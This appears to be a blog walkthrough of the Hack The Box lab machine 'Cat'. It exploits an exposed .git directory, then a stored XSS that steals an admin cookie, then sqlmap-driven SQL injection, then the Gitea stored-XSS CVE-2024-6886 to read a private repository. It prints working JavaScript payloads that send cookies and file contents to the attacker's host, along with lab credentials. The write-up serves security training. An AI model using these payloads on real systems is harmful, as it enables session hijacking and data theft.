Hackthebox: Cat

Foued SAIDI Lv4

Overview

Cat is a medium-difficulty machine from Hack The Box dealing initially with an exposed git directory allowing for source code review which reveals an XSS and SQLI vulnerabilities. We’ll use the XSS to get to admin panel and then from an admin endpoint perform SQLI to get user creds and user flag. We eventually exploit CVE-2024-6886 which is a stored XSS in an internal instance of Gitea to get root credentials.

Cat-info-card
Cat-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have our usual ssh and http ports where we’re redirected to cat.htb which we’ll add to our /etc/hosts file.

Directory Bruteforcing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Desktop]
└─$ dirsearch -u http://cat.htb/

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/reports/http_cat.htb/__25-02-07_17-30-45.txt

Target: http://cat.htb/

[17:30:45] Starting:
[17:30:50] 301 - 301B - /.git -> http://cat.htb/.git/
[17:30:50] 200 - 92B - /.git/config
[17:30:50] 200 - 7B - /.git/COMMIT_EDITMSG
[17:30:50] 403 - 272B - /.git/
[17:30:50] 200 - 73B - /.git/description
[17:30:50] 403 - 272B - /.git/branches/
[17:30:50] 200 - 23B - /.git/HEAD
[17:30:50] 403 - 272B - /.git/hooks/
[17:30:50] 200 - 2KB - /.git/index
[17:30:51] 200 - 240B - /.git/info/exclude
[17:30:51] 403 - 272B - /.git/info/
[17:30:51] 403 - 272B - /.git/logs/
[17:30:51] 301 - 311B - /.git/logs/refs -> http://cat.htb/.git/logs/refs/
[17:30:51] 200 - 150B - /.git/logs/refs/heads/master
[17:30:51] 200 - 150B - /.git/logs/HEAD
[17:30:51] 301 - 317B - /.git/logs/refs/heads -> http://cat.htb/.git/logs/refs/heads/
[17:30:51] 403 - 272B - /.git/objects/
[17:30:51] 301 - 312B - /.git/refs/heads -> http://cat.htb/.git/refs/heads/
[17:30:51] 403 - 272B - /.git/refs/
[17:30:51] 200 - 41B - /.git/refs/heads/master
[17:30:51] 301 - 311B - /.git/refs/tags -> http://cat.htb/.git/refs/tags/
[17:30:51] 403 - 272B - /.ht_wsr.txt
[17:30:51] 403 - 272B - /.htaccess.bak1
[17:30:51] 403 - 272B - /.htaccess.orig
[17:30:51] 403 - 272B - /.htaccess.save
[17:30:51] 403 - 272B - /.htaccess.sample
[17:30:51] 403 - 272B - /.htaccess_extra
[17:30:51] 403 - 272B - /.htaccess_sc
[17:30:51] 403 - 272B - /.htaccessOLD
[17:30:51] 403 - 272B - /.htaccessBAK
[17:30:51] 403 - 272B - /.htaccess_orig
[17:30:51] 403 - 272B - /.htaccessOLD2
[17:30:51] 403 - 272B - /.htm
[17:30:51] 403 - 272B - /.html
[17:30:51] 403 - 272B - /.htpasswd_test
[17:30:51] 403 - 272B - /.htpasswds
[17:30:51] 403 - 272B - /.httr-oauth

Running dirsearch against our web app, we can see that we have an exposed .git directory which could lead to exposed source code.

XSS in http://cat.htb

We can do ahead and download the git repository using git-dumper:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Hackthebox/CAT/git-dumper/cat_git]
└─$ tree
.
β”œβ”€β”€ accept_cat.php
β”œβ”€β”€ admin.php
β”œβ”€β”€ config.php
β”œβ”€β”€ contest.php
β”œβ”€β”€ css
β”‚Β Β  └── styles.css
β”œβ”€β”€ delete_cat.php
β”œβ”€β”€ img
β”‚Β Β  β”œβ”€β”€ cat1.jpg
β”‚Β Β  β”œβ”€β”€ cat2.png
β”‚Β Β  └── cat3.webp
β”œβ”€β”€ img_winners
β”‚Β Β  β”œβ”€β”€ cat1.jpg
β”‚Β Β  β”œβ”€β”€ cat2.png
β”‚Β Β  └── cat3.webp
β”œβ”€β”€ index.php
β”œβ”€β”€ join.php
β”œβ”€β”€ logout.php
β”œβ”€β”€ view_cat.php
β”œβ”€β”€ vote.php
β”œβ”€β”€ winners
β”‚Β Β  └── cat_report_20240831_173129.php
└── winners.php

5 directories, 19 files

Looking at join.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['registerForm'])) {
$username = $_GET['username']; // unsanitzed
$email = $_GET['email']; // unsanitzed
$password = md5($_GET['password']);

$stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
$stmt_check->execute([':username' => $username, ':email' => $email]);
$existing_user = $stmt_check->fetch(PDO::FETCH_ASSOC);

if ($existing_user) {
$error_message = "Error: Username or email already exists.";
} else {
$stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)");
$stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);

if ($stmt_insert) {
$success_message = "Registration successful!";
} else {
$error_message = "Error: Unable to register user.";
}
}
}

We can notice that there is an unsatized username parameter, so we can inject an xss payload in it and since it gets rendered on the web app it will get triggered:

XSS
XSS

And then we can register a cat and our payload will be triggered since it’s being checked by an admin:

XSS
XSS

1
2
3
4
5
6
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Desktop]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.41.129 - - [07/Feb/2025 17:46:47] "GET /?c=PHPSESSID=731vo0m0ai6ppirlc86o6fttk8 HTTP/1.1" 200 -
10.129.41.129 - - [07/Feb/2025 17:46:47] code 404, message File not found
10.129.41.129 - - [07/Feb/2025 17:46:47] "GET /favicon.ico HTTP/1.1" 404 -

We can now use that token and access admin panel with it:

XSS
XSS

Also returning to the source code, we can find an SQL Injection inside accept_cat.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include 'config.php';
session_start();

if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST['catId']) && isset($_POST['catName'])) {
$cat_name = $_POST['catName']; //vulnerable
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')"; //vulnerable
$pdo->exec($sql_insert); //vulnerable

$stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
$stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
$stmt_delete->execute();

echo "The cat has been accepted and added successfully.";
} else {
echo "Error: Cat ID or Cat Name not provided.";
}
} else {
header("Location: /");
exit();
}
} else {
echo "Access denied.";
}
?>

We’ll execute sqlmap on it and see what we get. The final payload will be like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Hackthebox/CAT]
└─$ sqlmap -r accept_cat_request.txt --level 5 --risk 3 --tables --dump -p catName --dbms=sqlite
___
__H__
___ ___[']_____ ___ ___ {1.8.7#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:06:09 /2025-02-07/

[18:06:09] [INFO] parsing HTTP request from 'accept_cat_request.txt'
[18:06:09] [INFO] testing connection to the target URL
[18:06:10] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:06:10] [INFO] testing if the target URL content is stable
[18:06:10] [INFO] target URL content is stable
[18:06:10] [WARNING] heuristic (basic) test shows that POST parameter 'catName' might not be injectable
[18:06:11] [INFO] testing for SQL injection on POST parameter 'catName'
[18:06:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:06:26] [INFO] POST parameter 'catName' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)
[18:06:26] [INFO] testing 'Generic inline queries'
[18:06:26] [INFO] testing 'SQLite inline queries'
[18:06:27] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[18:06:27] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[18:06:27] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[18:06:35] [INFO] POST parameter 'catName' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable
[18:06:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:06:35] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[18:06:35] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[18:06:35] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[18:06:35] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[18:06:35] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[18:06:35] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[18:06:35] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[18:06:35] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[18:06:35] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[18:06:35] [INFO] checking if the injection point on POST parameter 'catName' is a false positive
POST parameter 'catName' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 84 HTTP(s) requests:
---
Parameter: catName (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catName=kujen'||(SELECT CHAR(68,70,87,99) WHERE 7165=7165 AND 5623=5623)||'&catId=1

Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: catName=kujen'||(SELECT CHAR(89,69,69,121) WHERE 1538=1538 AND 9480=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'&catId=1
---

We can retrieve rosa’s hash using it. Cracking it we get rosa:soyunaprincesarosa.
Also looking at this line in the source code:

1
2
3
if ($_SESSION['username'] == 'axel') {
// If the logged in user is admin
echo '<a href="/admin.php">Admin</a>';

We reckon that there is a axel user, so I check the apache logs on system and I end up finding the user’s credentials:
loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q

We can now retrieve our user flag:

1
2
3
4
axel@cat:~$ id
uid=1000(axel) gid=1000(axel) groups=1000(axel)
axel@cat:~$ cat user.txt
a4fec67382dd4b6d8959e4c33c080ab0

Privilege Escalation - XSS in Gitea

Doing some system enumeration, we find a few mails:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
axel@cat:~$ cat /var/mail/axel
From [email protected] Sat Sep 28 04:51:50 2024
Return-Path: <[email protected]>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
for <[email protected]>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: [email protected]
Message-Id: <[email protected]>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From [email protected] Sat Sep 28 05:05:28 2024
Return-Path: <[email protected]>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
for <[email protected]>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: [email protected]
Message-Id: <[email protected]>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

axel@cat:~$

It’s hinting for a gitea instance deployed on port 3000. So let’s forward that to our machine:

1
2
3
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Hackthebox/CAT]
└─$ ssh [email protected] -L 3000:127.0.0.1:3000
[email protected]'s password:

Gitea
Gitea

We can connect with axel creds.

We can also see that the user Gitea version is 1.22 which is vulnerable to stored XSS too.

And remember from the email this sentence: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

So the payload should go in description.
Create repo named kujen => settings => put XSS payload inside β€œdescription” field:

1
<a href="javascript:fetch('http://10.10.16.39/?d='+encodeURIComponent(btoa(document.cookie)));">XSS test</a>
1
echo -e "Subject: Test Email\n\nHello, check repo http://localhost:3000/axel/kujen" | sendmail [email protected]

We can see that the size changes from 0 to 557:

1
2
3
4
5
6
7
8
9
axel@cat:/var/mail$ echo -e "Subject: Test Email\n\nHello, check repo http://localhost:3000/axel/kujen" | sendmail [email protected]
axel@cat:/var/mail$ ll
total 64
drwxrwsrwt 2 root mail 4096 Feb 7 18:08 ./
drwxr-xr-x 13 root root 4096 Jun 6 2024 ../
-rw-rw---- 1 axel mail 1961 Jan 14 16:49 axel
-rw-rw---- 1 jobert mail 557 Feb 7 18:08 jobert
-rw------- 1 root mail 43698 Feb 7 18:05 root
axel@cat:/var/mail$

Again , i went to read the second mail , I remember they talked about private repo.
I tried to read the README.md file by using this payload and it works, but the contents are useles. So I went to read the index.php file:

1
<a href='javascript:fetch("http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php").then(response=>response.text()).then(data=>fetch("http://10.10.16.39/?d="+encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));'>XSS test</a>

And after decrypting the contents, we get root creds:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {

header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}

header('Location: dashboard.php');
exit;

And we can now claim the root flag:

1
2
3
root@cat:~# cat root.txt
833ef290e04e8671d056f663f8a35e17
root@cat:~#
  • Title: Hackthebox: Cat
  • Author: Foued SAIDI
  • Created at : 2025-07-04 14:57:59
  • Updated at : 2025-07-04 15:41:38
  • Link: https://kujen5.github.io/2025/07/04/Hackthebox-Cat/
  • License: This work is licensed under CC BY-NC-SA 4.0.